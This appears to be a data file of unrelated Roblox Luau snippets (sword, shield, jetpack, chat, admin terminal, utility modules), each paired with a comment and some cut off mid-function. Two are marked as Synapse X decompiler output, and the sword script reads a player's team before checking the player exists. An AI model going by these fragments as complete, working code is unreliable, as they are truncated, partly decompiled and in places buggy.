for i,v in pairs(main.commandMenus) do
for a,b in pairs(v:GetDescendants()) do
if b:IsA("GuiObject") then
if b:FindFirstChild("OriginalZIndex") and (not specificFrame or v == specificFrame) then
b.ZIndex = b.OriginalZIndex.Value + ((i-1)*10) - 1000
end
end
end
end
end
|
-------- OMG HAX
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
black = BrickColor.new("Really black")
DamageValues = {
BaseDamage = 5,
SlashDamage = 11,
LungeDamage = 22
}
Damage = DamageValues.BaseDamage
Sounds = {
Slash = Handle:WaitForChild("SwordSlash"),
Lunge = Handle:WaitForChild("SwordLunge"),
Unsheath = Handle:WaitForChild("Unsheath")
}
Animations = {
Slash = Tool:WaitForChild("Slash")
}
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
function InvokeClient(Mode, Value)
pcall(function()
ClientControl:InvokeClient(Player, Mode, Value)
end)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Blow(Hit)
if not Hit or not Hit.Parent or not Character or not Humanoid or Humanoid.Health == 0 then
return
end
local humanoid = Hit.Parent:FindFirstChild("Humanoid")
if humanoid and humanoid ~= Humanoid and humanoid.Health > 0 then
local RightArm = Character:FindFirstChild("Right Arm")
if not RightArm then
return
end
local player = game.Players:FindFirstChild(Hit.Parent.Name)
local myteam = Player.TeamColor
local theirteam = player.TeamColor
local RightGrip = RightArm:FindFirstChild("RightGrip")
if (RightGrip and (RightGrip.Part0 == Handle or RightGrip.Part1 == Handle)) then
if player and player ~= Player and not Player.Neutral and not player.Neutral and (myteam ~= theirteam or (myteam == black and theirteam == black)) then
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(Damage)
end
end
end
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
InvokeClient("PlayAnimation", {Animation = Animations.Slash, Speed = 1.5})
end
function Lunge()
Damage = DamageValues.LungeDamage
Sounds.Lunge:Play()
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Lunge"
Anim.Parent = Tool
local Force = Instance.new("BodyVelocity")
if Torso and Torso.Parent then
Force.velocity = Vector3.new(0, 100, 0)
Force.maxForce = Vector3.new(0, 4000, 0)
Debris:AddItem(Force, 0.5)
Force.Parent = Torso
end
wait(0.25)
if Torso and Torso.Parent then
Force.velocity = (Torso.CFrame.lookVector * 120) + Vector3.new(0, 60, 0)
end
wait(0.5)
if Force and Force.Parent then
Force:Destroy()
end
wait(0.5)
Damage = DamageValues.SlashDamage
end
Tool.Enabled = true
LastAttack = 0
function Activated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
Tick = RunService.Stepped:wait()
if (Tick - LastAttack < 0.2) then
Lunge()
else
Attack()
end
LastAttack = Tick
--wait(0.5)
Tool.Enabled = true
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso")
if not Player or not Humanoid or Humanoid.Health == 0 or not Torso then
return
end
Sounds.Unsheath:Play()
end
function Unequipped()
end
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
Connection = Handle.Touched:connect(Blow)
|
--[[
VectorUtil.ClampMagnitude(vector, maxMagnitude)
VectorUtil.AngleBetween(vector1, vector2)
VectorUtil.AngleBetweenSigned(vector1, vector2, axisVector)
EXAMPLES:
ClampMagnitude:
Clamps the magnitude of a vector so it is only a certain length.
ClampMagnitude(Vector3.new(100, 0, 0), 15) == Vector3.new(15, 0, 0)
ClampMagnitude(Vector3.new(10, 0, 0), 20) == Vector3.new(10, 0, 0)
AngleBetween:
Finds the angle (in radians) between two vectors.
v1 = Vector3.new(10, 0, 0)
v2 = Vector3.new(0, 10, 0)
AngleBetween(v1, v2) == math.rad(90)
AngleBetweenSigned:
Same as AngleBetween, but returns a signed value.
v1 = Vector3.new(10, 0, 0)
v2 = Vector3.new(0, 0, -10)
axis = Vector3.new(0, 1, 0)
AngleBetweenSigned(v1, v2, axis) == math.rad(90)
--]]
|
local VectorUtil = {}
function VectorUtil.ClampMagnitude(vector, maxMagnitude)
return (vector.Magnitude > maxMagnitude and (vector.Unit * maxMagnitude) or vector)
end
function VectorUtil.AngleBetween(vector1, vector2)
return math.acos(math.clamp(vector1.Unit:Dot(vector2.Unit), -1, 1))
end
function VectorUtil.AngleBetweenSigned(vector1, vector2, axisVector)
local angle = VectorUtil.AngleBetween(vector1, vector2)
return angle * math.sign(axisVector:Dot(vector1:Cross(vector2)))
end
function VectorUtil.SquaredMagnitude(vector)
return vector.X^2+vector.Y^2+vector.Z^2
end
return VectorUtil
|
--[[Drivetrain Initialize]]
|
local Front = bike.FrontSection
local Rear = bike.RearSection
--Determine Wheel Size
local wDia = 0
wDia = Rear.Wheel.Size.Y
--Pre-Toggled PBrake
if math.abs(Front.Axle.HingeConstraint.MotorMaxTorque-PBrakeForce)<1 then _PBrake=true end
|
-- Decompiled with the Synapse X Luau decompiler.
|
return {
Coins = {
canDrop = true,
dropWeight = 75,
isUnique = false,
tiers = { {
title = "Coins I",
desc = "Pet earns +15% more Regular Coins",
value = 1.15
}, {
title = "Coins II",
desc = "Pet earns +30% more Regular Coins",
value = 1.3
}, {
title = "Coins III",
desc = "Pet earns +50% more Regular Coins",
value = 1.5
}, {
title = "Coins IV",
desc = "Pet earns +75% more Regular Coins",
value = 1.75
}, {
title = "Coins V",
desc = "Pet earns +100% more Regular Coins",
value = 2
} }
}
};
|
--for _, item in ipairs(Shield:GetChildren()) do
-- if item:IsA("BasePart") == true and item:FindFirstChild("Ignore") == nil then
-- item.Touched:connect(function(Hit)
-- if Hit == nil then return end
-- if Hit.Parent == nil then return end
--
-- local Item = Hit.Parent
--
-- if Item:IsA("Tool") == true then return end
-- if Hit.Name == "Torso" then return end
-- if Hit.Name == "HumanoidRootPart" then return end
-- if Hit.Name == "Left Leg" then return end
-- if Hit.Name == "Right Leg" then return end
-- if Hit.Name == "Head" then return end
-- if Hit.Name == "Left Arm" then return end
-- if Hit.Name == "Right Arm" then return end
--
-- if Game:GetService("Players"):GetPlayerFromCharacter(Item) ~= nil then return end
--
-- for _, x in ipairs(Hit:GetChildren()) do
-- if x:IsA("TouchTransmitter") == true then x:Destroy() break end
-- end
--
-- if Item.Name == "ShadowGrab" then
-- Health = Health - (MaxHealth / 12)
--
-- HealthBar.Shield.Bar:TweenSize(UDim2.new((Health / MaxHealth), 0, 1, 0), Enum.EasingDirection.In, Enum.EasingStyle.Linear, 0.5, true)
--
-- Item:Destroy()
--
-- if Health > 0 then
-- -- yay, still alive.
-- else
-- HealthBar.Parent.Parent:Destroy()
-- end
-- end
-- end)
-- end
--end
|
function CreateRegion3FromLocAndSize(Position, Size)
local SizeOffset = Size / 2
local Point1 = Position - SizeOffset
local Point2 = Position + SizeOffset
return Region3.new(Point1, Point2)
end
function FindNear(part, radius)
local r = CreateRegion3FromLocAndSize(part.Position, Vector3.new(part.Size.X + radius, 50, part.Size.Z + radius))
return Game:GetService("Workspace"):FindPartsInRegion3(r, part, 100)
end
while true do
for _, x in ipairs(Shield:GetChildren()) do
if x:IsA("BasePart") == true and x.Name ~= "Overhead" and x:FindFirstChild("Ignore") == nil then
for _, item in ipairs(FindNear(x, 15)) do
if item:IsA("BasePart") == true then
local own, dmg = GetOwnerAndDamage(item)
if own ~= nil and dmg ~= nil and item:FindFirstChild("Pierce") == nil then
if (item.Position - x.Position).magnitude <= 15 and item ~= x then
if Health > 0 then
if Health >= dmg then
Health = Health - dmg
HealthBar.Shield.Bar:TweenSize(UDim2.new((Health / MaxHealth), 0, 1, 0), Enum.EasingDirection.In, Enum.EasingStyle.Linear, 0.5, true)
for _, b in ipairs(item:GetChildren()) do
if b:IsA("TouchTransmitter") == true then b:Destroy() end
end
item:Destroy()
if Health > 0 then
-- yay, still alive.
else
HealthBar.Parent.Parent:Destroy()
end
else
HealthBar.Parent.Parent:Destroy()
end
else
HealthBar.Parent.Parent:Destroy()
end
end
end
end
end
end
end
Game:GetService("RunService").Stepped:wait()
end
|
--[=[
@param instance Instance
@return Promise
]=]
|
function PromiseInstanceUtils.promiseRemoved(instance)
assert(instance:IsDescendantOf(game))
local maid = Maid.new()
local promise = Promise.new()
maid:GiveTask(instance.AncestryChanged:Connect(function(_, parent)
if not parent then
promise:Resolve()
end
end))
promise:Finally(function()
maid:DoCleaning()
end)
return promise
end
return PromiseInstanceUtils
|
-- Trove
-- Stephen Leitnick
-- October 16, 2021
|
local FN_MARKER = newproxy()
local THREAD_MARKER = newproxy()
local RunService = game:GetService("RunService")
local function GetObjectCleanupFunction(object, cleanupMethod)
local t = typeof(object)
if t == "function" then
return FN_MARKER
elseif t == "thread" then
return THREAD_MARKER
end
if cleanupMethod then
return cleanupMethod
end
if t == "Instance" then
return "Destroy"
elseif t == "RBXScriptConnection" then
return "Disconnect"
elseif t == "table" then
if typeof(object.Destroy) == "function" then
return "Destroy"
elseif typeof(object.Disconnect) == "function" then
return "Disconnect"
end
end
error("Failed to get cleanup function for object " .. t .. ": " .. tostring(object), 3)
end
local function AssertPromiseLike(object)
if
type(object) ~= "table"
or type(object.getStatus) ~= "function"
or type(object.finally) ~= "function"
or type(object.cancel) ~= "function"
then
error("Did not receive a Promise as an argument", 3)
end
end
|
-- ================================================================================
-- EVENTS
-- ================================================================================
|
local onRaceStartedEvent = Instance.new("BindableEvent")
RaceModule.RaceStarted = onRaceStartedEvent.Event
local onRaceFinishedEvent = Instance.new("BindableEvent")
RaceModule.RaceFinished = onRaceFinishedEvent.Event
RaceModule.OnRaceFinishedEvent = onRaceFinishedEvent
local onLapStartedEvent = Instance.new("BindableEvent")
RaceModule.LapStarted = onLapStartedEvent.Event
local onLapFinishedEvent = Instance.new("BindableEvent")
RaceModule.LapFinished = onLapFinishedEvent.Event
local onIntermissionStartedEvent = Instance.new("BindableEvent")
RaceModule.IntermissionStarted = onIntermissionStartedEvent.Event
local onCheckpointPassedEvent = Instance.new("BindableEvent")
RaceModule.CheckpointPassed = onCheckpointPassedEvent.Event
|
-- ROBLOX deviation END
|
exports.default = function(snapshots: SnapshotSummary, globalConfig: Config_GlobalConfig, updateCommand: string)
local summary = {}
table.insert(summary, SNAPSHOT_SUMMARY("Snapshot Summary"))
if Boolean.toJSBoolean(snapshots.added) then
table.insert(
summary,
SNAPSHOT_ADDED(ARROW .. pluralize("snapshot", snapshots.added) .. " written ")
.. "from "
.. pluralize("test suite", snapshots.filesAdded)
.. "."
)
end
if Boolean.toJSBoolean(snapshots.unmatched) then
table.insert(
summary,
FAIL_COLOR(ARROW .. pluralize("snapshot", snapshots.unmatched) .. " failed")
.. " from "
.. pluralize("test suite", snapshots.filesUnmatched)
.. ". "
.. SNAPSHOT_NOTE("Inspect your code changes or " .. updateCommand .. " to update them.")
)
end
if Boolean.toJSBoolean(snapshots.updated) then
table.insert(
summary,
SNAPSHOT_UPDATED(ARROW .. pluralize("snapshot", snapshots.updated) .. " updated ")
.. "from "
.. pluralize("test suite", snapshots.filesUpdated)
.. "."
)
end
if Boolean.toJSBoolean(snapshots.filesRemoved) then
if snapshots.didUpdate then
table.insert(
summary,
SNAPSHOT_REMOVED(ARROW .. pluralize("snapshot file", snapshots.filesRemoved) .. " removed ")
.. "from "
.. pluralize("test suite", snapshots.filesRemoved)
.. "."
)
else
table.insert(
summary,
OBSOLETE_COLOR(ARROW .. pluralize("snapshot file", snapshots.filesRemoved) .. " obsolete ")
.. "from "
.. pluralize("test suite", snapshots.filesRemoved)
.. ". "
.. SNAPSHOT_NOTE(
"To remove "
.. (if snapshots.filesRemoved == 1 then "it" else "them all")
.. ", "
.. updateCommand
.. "."
)
)
end
end
if snapshots.filesRemovedList and #snapshots.filesRemovedList > 0 then
local head = snapshots.filesRemovedList[1]
local tail = table.pack(table.unpack(snapshots.filesRemovedList, 2))
table.insert(summary, " " .. DOWN_ARROW .. " " .. DOT .. formatTestPath(globalConfig, head))
Array.forEach(tail, function(key)
table.insert(summary, " " .. DOT .. formatTestPath(globalConfig, key))
end)
end
if Boolean.toJSBoolean(snapshots.unchecked) then
if snapshots.didUpdate then
table.insert(
summary,
SNAPSHOT_REMOVED(ARROW .. pluralize("snapshot", snapshots.unchecked) .. " removed ")
.. "from "
.. pluralize("test suite", #snapshots.uncheckedKeysByFile)
.. "."
)
else
table.insert(
summary,
OBSOLETE_COLOR(ARROW .. pluralize("snapshot", snapshots.unchecked) .. " obsolete ")
.. "from "
.. pluralize("test suite", #snapshots.uncheckedKeysByFile)
.. ". "
.. SNAPSHOT_NOTE(
"To remove "
.. (if snapshots.unchecked == 1 then "it" else "them all")
.. ", "
.. updateCommand
.. "."
)
)
end
end
Array.forEach(snapshots.uncheckedKeysByFile, function(uncheckedFile)
table.insert(summary, " " .. DOWN_ARROW .. formatTestPath(globalConfig, uncheckedFile.filePath))
Array.forEach(uncheckedFile.keys, function(key)
table.insert(summary, " " .. DOT .. key)
end)
end)
return summary
end
return exports
|
--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder.
--// I have to do some weird stuff since people could potentially already have pre-existing
--// things in a folder with the same name, and they may have different class types.
--// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that
--// the rest of the code can interface with and have the guarantee that the RemoteEvents they want
--// exist with their desired names.
|
local FILTER_MESSAGE_TIMEOUT = 60
local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Chat = game:GetService("Chat")
local StarterGui = game:GetService("StarterGui")
local DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local EventFolder = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local messageCreatorModules = clientChatModules:WaitForChild("MessageCreatorModules")
local MessageCreatorUtil = require(messageCreatorModules:WaitForChild("Util"))
local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end
local numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary
local waitChildren =
{
OnNewMessage = "RemoteEvent",
OnMessageDoneFiltering = "RemoteEvent",
OnNewSystemMessage = "RemoteEvent",
OnChannelJoined = "RemoteEvent",
OnChannelLeft = "RemoteEvent",
OnMuted = "RemoteEvent",
OnUnmuted = "RemoteEvent",
OnMainChannelSet = "RemoteEvent",
SayMessageRequest = "RemoteEvent",
GetInitDataRequest = "RemoteFunction",
}
|
-- Please read the help script before editing below, unless you know what you're doing!
|
local PlayerName = game.Players.LocalPlayer.Name
local GameName = game.Name
local CreatorName = game.CreatorId
script.Parent.Title1.Text = 'Hello, '..PlayerName..'!'
script.Parent.Title2.Text = 'Welcome to '..GameName..'!'
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
service = nil;
return function(p1)
local v1 = client.UI.Make("Window", {
Name = "Terminal",
Title = "Terminal",
Icon = client.MatIcons.Code,
Size = { 500, 300 },
AllowMultiple = false,
OnClose = function()
end
});
local v2 = v1:Add("ScrollingFrame", {
Size = UDim2.new(1, -10, 1, -40),
BackgroundTransparency = 1,
List = {}
});
local v3 = v1:Add("TextBox", {
Text = "",
Size = UDim2.new(1, 0, 0, 30),
Position = UDim2.new(0, 0, 1, -30),
PlaceholderText = "Enter command",
TextXAlignment = "Left",
ClearTextOnFocus = false
});
v3:Add("UIPadding", {
PaddingLeft = UDim.new(0, 6)
});
local function u1(p2, p3)
table.insert(p3, p2);
if #p3 > 500 then
table.remove(p3, 1);
end;
end;
local u2 = {};
v1:BindEvent(service.Events.TerminalLive, function(p4)
local l__Type__4 = p4.Type;
u1(p4.Data, u2);
end);
v3.FocusLost:Connect(function(p5)
service.Debounce("_TERMINAL_BOX_FOCUSLOST", function()
if p5 and v3.Text ~= "" and v3.Text ~= "Enter command" then
local l__Text__5 = v3.Text;
v3.Text = "";
u1(">" .. l__Text__5, u2);
local v6 = client.Remote.Get("Terminal", l__Text__5, {
Time = time()
});
if v6 and type(v6) == "table" then
for v7, v8 in ipairs(v6) do
u1(v8, u2);
end;
end;
v3:CaptureFocus();
end;
wait(0.1);
end);
end);
v1:Ready();
local v9 = 0;
while v1.gTable.Active and wait(0.5) do
if v9 < #u2 then
v9 = #u2;
v2:GenerateList(u2, nil, true);
end;
end;
end;
|
--[[Driver Handling]]
|
--Driver Sit
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
--Distribute Client Interface
local p=game.Players:GetPlayerFromCharacter(child.Part1.Parent)
car.DriveSeat:SetNetworkOwner(p)
local g=script.Parent["A-Chassis Interface"]:Clone()
g.Parent=p.PlayerGui
end
end)
--Driver Leave
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") then
--Remove Flip Force
if car.DriveSeat:FindFirstChild("Flip")~=nil then
car.DriveSeat.Flip.MaxTorque = Vector3.new()
end
--Remove Wheel Force
for i,v in pairs(car.Wheels:GetChildren()) do
if v:FindFirstChild("#AV")~=nil then
if v["#AV"]:IsA("BodyAngularVelocity") then
if v["#AV"].AngularVelocity.Magnitude>0 then
v["#AV"].AngularVelocity = Vector3.new()
v["#AV"].MaxTorque = Vector3.new()
end
else
if v["#AV"].AngularVelocity>0 then
v["#AV"].AngularVelocity = 0
v["#AV"].MotorMaxTorque = 0
end
end
end
end
end
end)
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (oldAnimTrack ~= nil) then
oldAnimTrack:Stop()
oldAnimTrack:Destroy()
oldAnimTrack = nil
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
|
-- Gui
|
local DisplayGui = script:WaitForChild("DisplayGui")
local ColorGui = script:WaitForChild("ColorGui")
local NewDisplayGui = nil
local NewColorGui = nil
function UndoSettings(Folder)
for _,v in pairs(Folder:GetChildren()) do
if v:IsA("NumberValue") or v:IsA("IntValue") then
v.Value = 0
elseif v:IsA("ObjectValue") and v.Name ~= "SpawnedSegway" then
v.Value = nil
end
end
end
function RemoveSegway()
-- Remove segway
DestroySegway:FireServer(Character,SpawnedSegway)
-- Reset camera
Camera.CameraType = "Custom"
-- Show tool
ConfigTool:FireServer(0,Tool,false,nil)
-- Undo tags anyway
HasSpawnedSegway.Value = false
-- UnPlatformStand player
ConfigHumanoid:FireServer(Humanoid,false,false,true)
-- If player has the segway controller script, we'll reset its settings
if PlayerGui:FindFirstChild("GuiControls") then -- Remove mobile gui
PlayerGui:FindFirstChild("GuiControls").Parent = script
end
UserInputService.ModalEnabled = false
UndoSettings(ToolStatus)
end
|
-- << VERSION >>
-- Do not change this, or the Admin Commands may break
|
local Version = 1.0
return{{VIPs,Mods,Admins,HeadAdmins},Settings,Banned,Groups,Group_Permissions,Assets,Asset_Permissions,CommandPermissions,Version}
|
--[=[
Constructs a new DataStore. See [DataStoreStage] for more API.
@param robloxDataStore DataStore
@param key string
]=]
|
function DataStore.new(robloxDataStore, key)
local self = setmetatable(DataStoreStage.new(), DataStore)
self._key = key or error("No key")
self._robloxDataStore = robloxDataStore or error("No robloxDataStore")
|
-- [Head, Torso, HumanoidRootPart], "Torso" and "UpperTorso" works with both R6 and R15.
-- Also make sure to not misspell it.
|
local PartToLookAt = "Head" -- What should the npc look at. If player doesn't has the specific part it'll looks for RootPart instead.
local LookBackOnNil = true -- Should the npc look at back straight when player is out of range.
local SearchLoc = {workspace} -- Will get player from these locations
|
--// Damage Settings
|
BaseDamage = 33; -- Torso Damage
LimbDamage = 27; -- Arms and Legs
ArmorDamage = 14; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 72; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
--while Tool == nil do
-- Tool = script.Parent
-- wait(.5)
--end
|
local mass = 0
local player = nil
local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass
local gravity = 5 -- things float at > 1
local moving = false
local maxFuel = 1000
while Tool == nil do
Tool = script.Parent
wait(.5)
end
local currfuel = Tool:FindFirstChild("CurrFuel")
while currfuel == nil do
Tool = script.Parent
currfuel = Tool:FindFirstChild("CurrFuel")
wait(.5)
end
local fuel = Tool.CurrFuel.Value
local gui = nil
local anim = nil
local jetPack = nil
local regen = false
local force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,0,0)
local bodyGyro = Instance.new("BodyGyro")
bodyGyro.P = 20000
bodyGyro.D = 8000
bodyGyro.maxTorque = Vector3.new(bodyGyro.P,bodyGyro.P,bodyGyro.P)
local cam = nil
local Flame = nil
function onEquippedLocal(mouse)
player = Tool.Parent
while player.Name == "Backpack" do
player = Tool.Parent
wait(.5)
end
equipPack()
mass = recursiveGetLift(player)
force.P = mass * 10
force.maxForce = Vector3.new(0,force.P,0)
mouse.Button1Down:connect(thrust)
mouse.Button1Up:connect(cutEngine)
cam = game.Workspace.CurrentCamera
anim = player.Humanoid:LoadAnimation(Tool.standstill)
anim:Play()
gui = Tool.FuelGui:clone()
updateGUI()
gui.Parent = game.Players:GetPlayerFromCharacter(player).PlayerGui
regen = true
regenFuel()
end
function equipPack()
jetPack = Tool.Handle:clone()
jetPack.CanCollide = false
jetPack.Name = "JetPack"
jetPack.Parent = game.Workspace
Tool.Handle.Transparency = 1
local welder = Instance.new("Weld")
welder.Part0 = jetPack
welder.Part1 = player.UpperTorso
welder.C0 = CFrame.new(Vector3.new(0,0,-1))
welder.Parent = jetPack
Flame = Instance.new("Part")
Flame.Name = "Flame"
Flame.Transparency =1
Flame.CanCollide = false
Flame.Locked = true
Flame.formFactor = 2
Flame.Size = Vector3.new(1,0.4,1)
Flame.Parent = jetPack
local Fire = Instance.new("Fire")
Fire.Heat = -12
Fire.Size = 4
Fire.Enabled = false
Fire.Parent = Flame
local firer = Instance.new("Weld")
firer.Part0 = jetPack.Flame
firer.Part1 = jetPack
firer.C0 = CFrame.new(Vector3.new(0,2,0))
firer.Parent = jetPack.Flame
end
function updateGUI()
gui.Frame.Size = UDim2.new(0,40,0,300 * (Tool.CurrFuel.Value/maxFuel))
gui.Frame.Position = UDim2.new(0.9,0,0.2 + (0.2 * ((maxFuel - Tool.CurrFuel.Value)/maxFuel)),0)
end
function onUnequippedLocal()
regen = false
if force ~= nil then
force:remove()
end
if bodyGyro ~= nil then
bodyGyro:remove()
end
if anim ~= nil then
anim:Stop()
anim:remove()
end
if gui ~= nil then
gui:remove()
end
if jetPack ~= nil then
jetPack:remove()
jetPack = nil
end
Tool.Handle.Transparency = 0
end
Tool.Equipped:connect(onEquippedLocal)
Tool.Unequipped:connect(onUnequippedLocal)
function thrust()
if fuel > 0 then
thrusting = true
force.Parent = player.UpperTorso
jetPack.Flame.Fire.Enabled = true
Tool.Handle.InitialThrust:Play()
bodyGyro.Parent = player.UpperTorso
while thrusting do
bodyGyro.cframe = cam.CoordinateFrame
force.velocity = Vector3.new(0,cam.CoordinateFrame.lookVector.unit.y,0) * 50
fuel = fuel - 1
Tool.CurrFuel.Value = fuel
if fuel <= 0 then
Tool.Handle.EngineFail:Play()
cutEngine()
end
updateGUI()
wait()
Tool.Handle.Thrusting:Play()
if fuel <= 200 then
Tool.Handle.LowFuelWarning:Play()
end
end
Tool.Handle.Thrusting:Stop()
Tool.Handle.LowFuelWarning:Stop()
end
end
function cutEngine()
thrusting = false
jetPack.Flame.Fire.Enabled = false
force.velocity = Vector3.new(0,0,0)
force.Parent = nil
anim:Stop()
bodyGyro.Parent = nil
end
local head = nil
function recursiveGetLift(node)
local m = 0
local c = node:GetChildren()
if (node:FindFirstChild("Head") ~= nil) then head = node:FindFirstChild("Head") end -- nasty hack to detect when your parts get blown off
for i=1,#c do
if c[i].className == "Part" then
if (head ~= nil and (c[i].Position - head.Position).magnitude < 10) then -- GROSS
if c[i].Name == "Handle" then
m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
else
m = m + (c[i]:GetMass() * equalizingForce * gravity)
end
end
end
m = m + recursiveGetLift(c[i])
end
return m
end
function regenFuel()
while regen do
if fuel < maxFuel then
fuel = fuel + 1
Tool.CurrFuel.Value = fuel
updateGUI()
end
wait(0.2)
end
end
|
-- Quero um pouco de credito,plox :P --
-- FEITO 100% POR SCORPION --
-- Oficial Release 1.5 --
| |
--[[ The Module ]]
|
--
local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController"))
local Keyboard = setmetatable({}, BaseCharacterController)
Keyboard.__index = Keyboard
function Keyboard.new(CONTROL_ACTION_PRIORITY)
local self = setmetatable(BaseCharacterController.new() :: any, Keyboard)
self.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY
self.textFocusReleasedConn = nil
self.textFocusGainedConn = nil
self.windowFocusReleasedConn = nil
self.forwardValue = 0
self.backwardValue = 0
self.leftValue = 0
self.rightValue = 0
self.jumpEnabled = true
return self
end
function Keyboard:Enable(enable: boolean)
if not UserInputService.KeyboardEnabled then
return false
end
if enable == self.enabled then
-- Module is already in the state being requested. True is returned here since the module will be in the state
-- expected by the code that follows the Enable() call. This makes more sense than returning false to indicate
-- no action was necessary. False indicates failure to be in requested/expected state.
return true
end
self.forwardValue = 0
self.backwardValue = 0
self.leftValue = 0
self.rightValue = 0
self.moveVector = ZERO_VECTOR3
self.jumpRequested = false
self:UpdateJump()
if enable then
self:BindContextActions()
self:ConnectFocusEventListeners()
else
self:UnbindContextActions()
self:DisconnectFocusEventListeners()
end
self.enabled = enable
return true
end
function Keyboard:UpdateMovement(inputState)
if inputState == Enum.UserInputState.Cancel then
self.moveVector = ZERO_VECTOR3
else
self.moveVector = Vector3.new(self.leftValue + self.rightValue, 0, self.forwardValue + self.backwardValue)
end
end
function Keyboard:UpdateJump()
self.isJumping = self.jumpRequested
end
function Keyboard:BindContextActions()
-- Note: In the previous version of this code, the movement values were not zeroed-out on UserInputState. Cancel, now they are,
-- which fixes them from getting stuck on.
-- We return ContextActionResult.Pass here for legacy reasons.
-- Many games rely on gameProcessedEvent being false on UserInputService.InputBegan for these control actions.
local handleMoveForward = function(actionName, inputState, inputObject)
self.forwardValue = (inputState == Enum.UserInputState.Begin) and -1 or 0
self:UpdateMovement(inputState)
return Enum.ContextActionResult.Pass
end
local handleMoveBackward = function(actionName, inputState, inputObject)
self.backwardValue = (inputState == Enum.UserInputState.Begin) and 1 or 0
self:UpdateMovement(inputState)
return Enum.ContextActionResult.Pass
end
local handleMoveLeft = function(actionName, inputState, inputObject)
self.leftValue = (inputState == Enum.UserInputState.Begin) and -1 or 0
self:UpdateMovement(inputState)
return Enum.ContextActionResult.Pass
end
local handleMoveRight = function(actionName, inputState, inputObject)
self.rightValue = (inputState == Enum.UserInputState.Begin) and 1 or 0
self:UpdateMovement(inputState)
return Enum.ContextActionResult.Pass
end
local handleJumpAction = function(actionName, inputState, inputObject)
self.jumpRequested = self.jumpEnabled and (inputState == Enum.UserInputState.Begin)
self:UpdateJump()
return Enum.ContextActionResult.Pass
end
-- TODO: Revert to KeyCode bindings so that in the future the abstraction layer from actual keys to
-- movement direction is done in Lua
ContextActionService:BindActionAtPriority("moveForwardAction", handleMoveForward, false,
self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterForward)
ContextActionService:BindActionAtPriority("moveBackwardAction", handleMoveBackward, false,
self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterBackward)
ContextActionService:BindActionAtPriority("moveLeftAction", handleMoveLeft, false,
self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterLeft)
ContextActionService:BindActionAtPriority("moveRightAction", handleMoveRight, false,
self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterRight)
ContextActionService:BindActionAtPriority("jumpAction", handleJumpAction, false,
self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterJump)
end
function Keyboard:UnbindContextActions()
ContextActionService:UnbindAction("moveForwardAction")
ContextActionService:UnbindAction("moveBackwardAction")
ContextActionService:UnbindAction("moveLeftAction")
ContextActionService:UnbindAction("moveRightAction")
ContextActionService:UnbindAction("jumpAction")
end
function Keyboard:ConnectFocusEventListeners()
local function onFocusReleased()
self.moveVector = ZERO_VECTOR3
self.forwardValue = 0
self.backwardValue = 0
self.leftValue = 0
self.rightValue = 0
self.jumpRequested = false
self:UpdateJump()
end
local function onTextFocusGained(textboxFocused)
self.jumpRequested = false
self:UpdateJump()
end
